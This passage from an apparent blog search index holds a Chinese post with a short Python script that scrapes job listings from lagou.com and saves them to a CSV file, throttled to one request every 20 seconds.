j[\u0026#39;city\u0026#39;], \u0026#39;industryField\u0026#39;: j[\u0026#39;industryField\u0026#39;], \u0026#39;companyShortName\u0026#39;: j[\u0026#39;companyShortName\u0026#39;], \u0026#39;financeStage\u0026#39;: j[\u0026#39;financeStage\u0026#39;]} for j in datajson[\u0026#39;content\u0026#39;][\u0026#39;positionResult\u0026#39;][\u0026#39;result\u0026#39;]] total_count -= 15 pn += 1 time.sleep(20) csv_header = [\u0026#39;positionName\u0026#39;, \u0026#39;salary\u0026#39;, \u0026#39;workYear\u0026#39;, \u0026#39;education\u0026#39;, \u0026#39;city\u0026#39;, \u0026#39;industryField\u0026#39;, \u0026#39;companyShortName\u0026#39;, \u0026#39;financeStage\u0026#39;] with open(\u0026#39;job.csv\u0026#39;,\u0026#39;w\u0026#39;) as f: f_csv = csv.DictWriter(f, csv_header) f_csv.writeheader() f_csv.writerows(jobjson) if __name__ == \u0026#39;__main__\u0026#39;: main() ajax动态加载的，直接打开调试工具看XHR即可。\n","permalink":"https://www.hacktech.cn/post/2018/09/compare-size-t-and-unsigned-int/","summary":"\u003cp\u003e花了十来分钟写了个这个小爬虫，目的就是想能够方便一点寻找职位，并且大四了，没有工作和实习很慌啊！\u003c/p\u003e\n\u003c!-- more --\u003e\n\u003cp\u003e爬虫不具有扩展性，自己随手写的，改掉里面的 \u003ccode\u003ekeyword\u003c/code\u003e 和 \u003ccode\u003eregion\u003c/code\u003e 即可爬行所有的招聘，刚开始测试的是5s访问一次，不过还是会被ban，所以改成了20s一次，没有使用多线程和代理池，懒，够用就行了，结果会保存到一个csv文件里面，用excel打开即可。\u003c/p\u003e\n\u003cp\u003e直接上代码：\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cdiv style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\n\u003ctable style=\"border-spacing:0;padding:0;margin:0;border:0;\"\u003e\u003ctr\u003e\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 1\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 2\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 3\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 4\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 5\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 6\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 7\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 8\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 9\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e10\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e11\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e12\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e13\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e14\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e15\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e16\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e17\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e18\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e19\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e20\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e21\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e22\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e23\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e24\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e25\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e26\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e27\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e28\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e29\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e30\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e31\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e32\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e33\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e34\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e35\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e36\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e37\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e38\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e39\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e40\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e41\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e42\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e43\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e44\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e45\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e46\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e47\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e48\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e49\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e50\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e51\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e52\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e53\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e54\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e55\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e56\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e57\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e58\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e59\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;;width:100%\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-python\" data-lang=\"python\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003eimport\u003c/span\u003e requests\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003eimport\u003c/span\u003e urllib.parse\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003eimport\u003c/span\u003e json\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003eimport\u003c/span\u003e time\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003eimport\u003c/span\u003e csv\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003edef\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003emain\u003c/span\u003e():\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    keyword \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;逆向\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    region \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;全国\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    headers \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;Accept\u0026#39;\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;application/json, text/javascript, */*; q=0.01\u0026#39;\u003c/span\u003e,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;Accept-Encoding\u0026#39;\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;gzip, deflate, br\u0026#39;\u003c/span\u003e,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;Accept-Language\u0026#39;\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;zh-CN,zh;q=0.9\u0026#39;\u003c/span\u003e,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;Cache-Control\u0026#39;\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;no-cache\u0026#39;\u003c/span\u003e,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;Connection\u0026#39;\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;keep-alive\u0026#39;\u003c/span\u003e,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;Content-Length\u0026#39;\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;37\u0026#39;\u003c/span\u003e,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;Content-Type\u0026#39;\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;application/x-www-form-urlencoded; charset=UTF-8\u0026#39;\u003c/span\u003e,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;Host\u0026#39;\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;www.lagou.com\u0026#39;\u003c/span\u003e,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;Origin\u0026#39;\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;https://www.lagou.com\u0026#39;\u003c/span\u003e,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;Pragma\u0026#39;\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;no-cache\u0026#39;\u003c/span\u003e,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;Referer\u0026#39;\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;https://www.lagou.com/jobs/list_\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e%s\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e?city=\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e%s\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e%\u003c/span\u003e (urllib\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003eparse\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003equote(keyword), urllib\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003eparse\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003equote(region)),\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;User-Agent\u0026#39;\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.81 Safari/537.36\u0026#39;\u003c/span\u003e,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;X-Anit-Forge-Code\u0026#39;\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;0\u0026#39;\u003c/span\u003e,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;X-Anit-Forge-Token\u0026#39;\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;None\u0026#39;\u003c/span\u003e,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;X-Requested-With\u0026#39;\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;XMLHttpRequest\u0026#39;\u003c/span\u003e,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    data \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;pn\u0026#39;\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;kd\u0026#39;\u003c/span\u003e: keyword,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    }\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    total_count \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    pn \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    jobjson \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e []\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003ewhile\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#66d9ef\"\u003eif\u003c/span\u003e total_count \u003cspan style=\"color:#f92672\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#66d9ef\"\u003ebreak\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        data[\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;pn\u0026#39;\u003c/span\u003e] \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e pn\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        lagou_reverse_search \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e requests\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003epost(\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;https://www.lagou.com/jobs/positionAjax.json?needAddtionalResult=false\u0026#34;\u003c/span\u003e, headers\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003eheaders, data\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003edata)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        datajson \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e json\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003eloads(lagou_reverse_search\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003etext)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        print(\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;page \u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e%d\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e get finish\u0026#39;\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e%\u003c/span\u003e pn)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#66d9ef\"\u003eif\u003c/span\u003e pn \u003cspan style=\"color:#f92672\"\u003e==\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            total_count \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e int(datajson[\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;content\u0026#39;\u003c/span\u003e][\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;positionResult\u0026#39;\u003c/span\u003e][\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;totalCount\u0026#39;\u003c/span\u003e])\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        jobjson \u003cspan style=\"color:#f92672\"\u003e+=\u003c/span\u003e [{\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;positionName\u0026#39;\u003c/span\u003e: j[\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;positionName\u0026#39;\u003c/span\u003e], \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;salary\u0026#39;\u003c/span\u003e: j[\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;salary\u0026#39;\u003c/span\u003e], \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;workYear\u0026#39;\u003c/span\u003e: j[\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;workYear\u0026#39;\u003c/span\u003e], \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;education\u0026#39;\u003c/span\u003e: j[\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;education\u0026#39;\u003c/span\u003e], \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;city\u0026#39;\u003c/span\u003e: j[\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;city\u0026#39;\u003c/span\u003e], \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;industryField\u0026#39;\u003c/span\u003e: j[\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;industryField\u0026#39;\u003c/span\u003e], \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;companyShortName\u0026#39;\u003c/span\u003e: j[\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;companyShortName\u0026#39;\u003c/span\u003e], \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;financeStage\u0026#39;\u003c/span\u003e: j[\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;financeStage\u0026#39;\u003c/span\u003e]} \u003cspan style=\"color:#66d9ef\"\u003efor\u003c/span\u003e j \u003cspan style=\"color:#f92672\"\u003ein\u003c/span\u003e datajson[\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;content\u0026#39;\u003c/span\u003e][\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;positionResult\u0026#39;\u003c/span\u003e][\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;result\u0026#39;\u003c/span\u003e]]\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        total_count \u003cspan style=\"color:#f92672\"\u003e-=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e15\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        pn \u003cspan style=\"color:#f92672\"\u003e+=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        time\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003esleep(\u003cspan style=\"color:#ae81ff\"\u003e20\u003c/span\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    csv_header \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e [\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;positionName\u0026#39;\u003c/span\u003e, \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;salary\u0026#39;\u003c/span\u003e, \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;workYear\u0026#39;\u003c/span\u003e, \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;education\u0026#39;\u003c/span\u003e, \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;city\u0026#39;\u003c/span\u003e, \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;industryField\u0026#39;\u003c/span\u003e, \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;companyShortName\u0026#39;\u003c/span\u003e, \u003cspan 